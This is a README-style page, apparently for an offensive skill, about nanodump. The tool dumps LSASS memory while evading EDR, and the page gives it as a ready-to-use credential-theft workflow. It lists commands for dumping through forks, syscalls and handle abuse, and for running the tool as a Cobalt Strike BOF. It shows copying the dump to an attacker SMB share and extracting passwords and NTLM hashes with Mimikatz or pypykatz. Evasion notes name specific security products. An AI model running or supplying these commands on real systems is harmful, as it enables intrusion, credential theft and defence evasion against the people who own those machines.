aeondave/nanodump

nanodump

Stealthy LSASS minidump tool — syscalls + fork-based techniques to bypass modern EDR solutions.

Concept

nanodump creates a minidump of the LSASS process using:

• Direct syscalls (avoids hooked ntdll APIs)
• Fork + minidump (dumping LSASS fork, not LSASS itself)
• Handle duplication (uses existing handles)
• Elevated handles from another process
• Silent process exit technique

The resulting .dmp can be parsed with Mimikatz offline.

Quick Start

# Basic dump via LSASS fork (most stealthy)
nanodump.exe --fork --write C:\Windows\Temp\lsass.dmp

# Dump with write to file via syscall
nanodump.exe --write C:\Windows\Temp\lsass.dmp

# BOF usage in Cobalt Strike
inline-execute nanodump.o --fork --write lsass.dmp

Core Flags

| Flag | Description | |------|-------------| | --write <path> | Write dump to file path | | --fork | Fork LSASS before dumping (stealth) | | --snapshot | Use process snapshot (NtCreateProcessEx) | | --dup | Duplicate LSASS handle from another process | | --elevate-handle | Elevate handle via existing handle in another proc | | --silent-process-exit | Use SilentProcessExit to dump | | --pid <n> | Specify LSASS PID manually | | --sec-logon | Use secondary logon handle | | --malseclogon | Abuse MalSecLogon technique | | --help | Show all options |

Post-Dump: Credential Extraction

# Transfer dump to Linux and parse with pypykatz
pypykatz lsa minidump lsass.dmp

# Parse on Windows with Mimikatz
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords

# Extract NTLM hashes only
pypykatz lsa minidump lsass.dmp -o hashes.txt

Common Workflows

# Stealthiest: fork + write to temp
nanodump.exe --fork --write C:\Windows\Temp\lsass.dmp

# Transfer dump to attacker
# Via Cobalt Strike: download C:\Windows\Temp\lsass.dmp
# Via SMB: copy lsass.dmp \\attacker\share\

# Parse on Kali
pypykatz lsa minidump lsass.dmp

# Use in CS as BOF
inline-execute nanodump.o --fork --write lsass.dmp
download lsass.dmp

Detection Evasion Notes

• --fork avoids direct LSASS access — EDR sees fork process, not LSASS dump
• Direct syscalls bypass user-mode API hooks (CrowdStrike, Defender ATP)
• Combine with process masquerading for additional evasion
• Avoid writing to predictable paths (C:\Windows\Temp\lsass.dmp is monitored)

Resources

| File | When to load | |------|--------------| | references/lsass-techniques.md | All LSASS dump techniques, pypykatz parsing, hash extraction, detection landscape |

Structuring This Skill